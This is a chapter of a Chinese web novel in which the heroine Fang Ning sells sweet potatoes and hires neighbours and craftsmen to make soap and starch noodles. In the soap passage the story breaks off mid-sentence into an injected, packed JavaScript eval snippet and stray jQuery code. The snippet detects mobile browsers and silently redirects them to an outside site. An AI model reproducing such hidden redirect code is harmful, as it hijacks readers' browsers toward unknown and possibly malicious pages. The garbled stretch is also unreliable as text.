56. 准备工具
作品:《逃荒后的幸福生活》 午时一刻,房宁送走了最后一个买番薯的村民,长舒一口气。
今天卖番薯就像在菜市场,说话都要用喊的,大榆村好久没这么热闹了,房宁又累又开心。
翠兰给她端来一碗水,“快润润嗓子。”
房宁先抿了一口,水温刚刚好,于是大口大口喝起来,一碗水饮尽,喉咙处的灼热、干痒终于减轻了一些。
“还要一碗吗?”
房宁忙点头,“谢谢兰姨。”
翠兰笑着又去给她盛了一碗。
喝了两碗水,房宁终于从方才卖番薯的紧张刺激的情绪中缓过来了。
找了一个小板凳坐下,房宁开始数钱。
今天一共卖了十七单,五十斤的客户和一百斤的客户数量差不多,一共收了二百八十多个铜板。
房宁将钱收起来,开始琢磨如何分配。
做粉条需要的工具并不多,但都是大件,首先要有一个石磨,用以将番薯颗粒磨成粉浆。然后把粉浆倒入大缸中沉淀,得出来的淀粉需要放在大簸箕上晾晒。最后用淀粉做粉条时,则需要一个大漏瓢,用以将和好的粉团漏入沸水中。
大缸可以去县城买,簸箕可以在村子里找人做,漏瓢可以去杜家定制,唯有石磨没有头绪。
房宁想到了杨家的小磨盘,跟脸盆一样大,日常家用够了,若想做产量化的粉条,则需要更大的磨盘。
房宁拒绝了翠兰的留饭,回到家里后,蒸了三个番薯,炒了一盘葱花鸡蛋。
葱花是从杨家的灶房拿的。
杨雨自从和房宁一起吃住以后,就把自家的灶房贡献出来了,她让房宁随便去,只要缺东西,就去她家里拿。
今天晌午杨雨是跑着回家的,一见炕桌上的三个番薯,便迫不及待地咬了一口,下一秒就全吐到手里了。
“好热、好热!”杨雨用手给舌头扇着风,斯哈斯哈地说道。
“烫手的山芋也就你敢拿,快放在碗里,等凉了再吃。”房宁摇头无奈。
杨雨双手快速交替地拿着番薯,指尖都被烫红了,仍不想放下。
“我回来时师娘已经做好饭了,她晌午也蒸了一个番薯,说好吃得紧呢,要掰给我一块尝尝,先生不让,他说他们家只有五十斤,不像房宁姐家有一屋子,让我赶紧回来吃。”
房宁笑道:“你先生可会精打细算,这次去府城买药材,为了少花银子,硬是走了两个时辰的路去药农家验药,真是费尽心力。”
杨雨一听,捂着嘴笑了。
说了几句话,番薯已经没有那么烫了,杨雨见房宁撕掉皮再吃,脸一红,刚才她竟然直接把皮都咬了。
重新撕掉咬下的那块皮,杨雨细细品尝番薯的味道,等独属于番薯的香甜、绵糯的味道在嘴里蔓延时,杨雨开心地眯起眼睛。
“师娘说得真不错,番薯挺好吃的,房宁姐,我也要五十斤!”
“好,你下午放学回来自己去挑吧。”
房宁别的东西都可以不算账,唯独番薯不行,不管是冯老娘还是杨雨,又或是柳枝和翠兰,她都得收钱。
因为她收其他村民的钱了,如果不能做到一视同仁,以后被人议论的就是房宁。
大榆村的人也是因为见了冯老娘掏银子,所以掏钱时很痛快。
睡了一个饱饱的午觉,杨雨醒来后将羊肉切成两半,一半给房宁晚上做了吃,另一半拿回家里,她要留给她哥,算日子,杨谷快要回家了。
既然有羊肉,房宁干脆和了一团面,面盆放在炕上,晚上就能吃发面的羊肉馅饼了。
做完灶房的活儿,房宁溜达着来到孙香云家里。
“香云姐,铁头不在家?”
孙香云在做酱豆子,闻言抬头一看,见是房宁来了,立马笑道:“铁头去找元宝玩了,你咋有空过来?”
房宁买番薯这事,孙香云虽然没有过去看,但从柳枝嘴里听说了,一屋子的番薯,就算卖给村里人一些,还剩下不老少呢,她都替房宁发愁。
“那么多番薯,你打算做什么呢?”
房宁笑道:“我有打算。”
既然如此,孙香云便不再说什么,见房宁一直在看她的酱缸,孙香云笑道:“等做好了,给你送一坛!”
房宁就等着这话呢,孙香云的手艺好,做的酱看起来都更好吃些。
不过她也没忘了自己来的目的。
“香云姐,我想请你给我干活。”
“行啊,干啥活?”孙香云有些好奇,这是房宁第一次请她干活。
房宁觉得孙香云没听懂她的意思。
“做胰子。”
请孙香云给她做胰子,是房宁早就想好的。
胰子不需要每天都做,顶多一个月做一次,也可以一次性做够几个月的订单量,这取决于天气环境。
比如现在的天会越来越冷,房宁就打算把未来三个月的订单都做了。
孙香云平日要照看铁头,肯定不能日日上工,像这种偶尔做一次的工作强度,就很适合她。
孙香云一听做胰子,想都不想便答应了,“等我把酱做好,就去给你做胰子啊!”
果然,孙香云没听懂她的意思,以为房宁是来请她帮忙的。
房宁只好解释道:“香云姐,我是让你来给我做工,要付工钱的。”
“啥?你还要给我钱?!”
孙香云瞪大了眼睛,急忙在围裙上擦了擦手,然后伸向房宁的额头,“先是买这么多番薯,现在又要给我钱,你怕不是魔怔了吧?”
房宁面无表情地将她的手拿下来,“我没疯。”
“那你给我钱干啥,不就做个胰子吗,能费多大功夫?”
孙香云虽然不知道胰子怎么做,但她从来没想过要房宁的钱啊。
“因为我挣到钱了啊!香云姐,这胰子是府城的万裕号要的,人家对胰子的要求可高了,所以我对你的要求也得高一点,这相当于你给我干活,我付你工钱。”房宁耐心解释道。
孙香云不知道万裕号是什么,但听着挺厉害,所以很为房宁挣到钱感到开心。
但是,工钱免谈!
在孙香云看来,这就是帮个忙的事儿,而且帮的还是房宁,她要钱反而不地道了。
房宁劝说无果,只好拿出大杀器,“那我只能找别人做了!”
别说,这一招最管用。
孙香云不太情愿地答应了房宁,但提到工钱时她说:“不许给多了啊!”
房宁还是第一次碰到嫌工资多的人,笑道:“我要是把工钱说出来,有的是人跟你抢活干!”
“那也不行,你才挣了几个钱,可不好霍霍,我这是为了你好!”孙香云急道。
“我知道,所以才请你来做胰子,别人我也不放心。”房宁认真地说道。
虽然很多人知道胰子是用猪胰脏做的,也知道要添加碱液等物,但具体的比例只有房宁知道。
更不要说更关键的步骤——搅打了,将所有的东西混合在一起
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16311766|179008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后,需要持续搅打,至于搅打到什么程度,决定了这份胰子能不能成功,这一步骤也只有房宁能把握。
所以做胰子看起来简单,但实际上很多细节决定了成败。
房宁虽然相信大榆村的人品,但不代表就没有防人之心,不管做胰子还是做粉条,都事关自己的事业和未来,她要选最熟悉、最信任的人。
跟孙香云说定了明天做胰子,房宁接着来到杜家,要了两个大木盆和两个漏瓢,这次是花钱定做的。
今天晌午做饭洗番薯的时候,房宁才意识到还缺两个大盆子,幸好提前发现了,不然等做粉条时,一个小盆子根本不够用的。
房宁要的漏瓢是个小桶的形状,比桶多一个把,且需要在桶底钻一些孔眼,杜大山第一次做这样的东西,非常好奇她用来做什么,房宁也没瞒着,这事早晚都会知道。
杜达山听完后笑道:“那我可等着你的粉条了啊!”
房宁从杜家出来,在脑子里检索大榆村有哪些巧手。
此时,林三哥恰好从她面前走过,房宁眼睛一亮,林老爹啊,他手可巧着呢!
林桂花午觉睡醒后,连炕都没下,直接摸出沙盘开始写写画画。
房宁离家这几天,她的沙盘早就做好了,这几天只要没事做的时候,林桂花都在练字。
房宁低头一看,笑道:“写得越来越好了。”
林桂花笑开了眼。
“我也觉得,可惜我二哥不识字,说我写的字跟他锄的地一样,什么眼神啊!”林桂花努着嘴说道。
“对了,你咋来找我了?”
房宁:“我是来找你爷的,想问问他可会做簸箕?”
“簸箕?肯定会做啊,我爷做起来可快了!”
那更好,房宁立即起身去找林老爹,林桂花在后面喊道:“你今天还有空没?”
房宁挥着手回应:“晚上有空!”
找林老爹定了两个水缸大的簸箕,房宁回家喝了一碗水,恰好看到冯山正在擦洗骡车。
“山叔,您啥时候再去县城?”
“明天去一趟,你又要跟着去?”冯山看了一眼笑得谄媚的房宁,眉头拧了拧。
“不不不,我就不跟着去了,您直接帮我买两个大缸回来就成,我相信您的眼光!”房宁摆着手笑道。
冯山木着脸说道:“我不相信。”
冯山去换水,房宁亦步亦趋地跟在后面,“行行好吧,反正您要去县城,买东西回来总比空车好吧,我可以付您运费。”
“你还知道空车?”
冯山感到意外,但一想到是房宁,又觉得不意外了。
“那当然了,有赶路工具的人,挣点小外快是正常的啊!山叔,我之前跟您说的物流局,您还记得不?”
冯山点头。
“您的骡车就是赶路工具,用骡车把大缸从县城送到我的手里,就等于完成一次物流,我付给您的钱,就是运费,这就是物流局的运作模式,跟镖局也差不多吧,就是接的单子更琐碎些。
但您既然有骡车,为什么不把它利用起来,蚊子再小也是肉啊!再说了,虽然大家是乡里乡亲的,但是每个人的功夫都是宝贵的,您总不能一直给人帮忙不收银子吧?”
冯山开始思考了,不得不说房宁说的有点道理。
“这次先不收你的钱了,等我想明白再说。”
“谢谢山叔!”
解决了水缸的问题,现在只差石磨了,房宁来到陈三家里。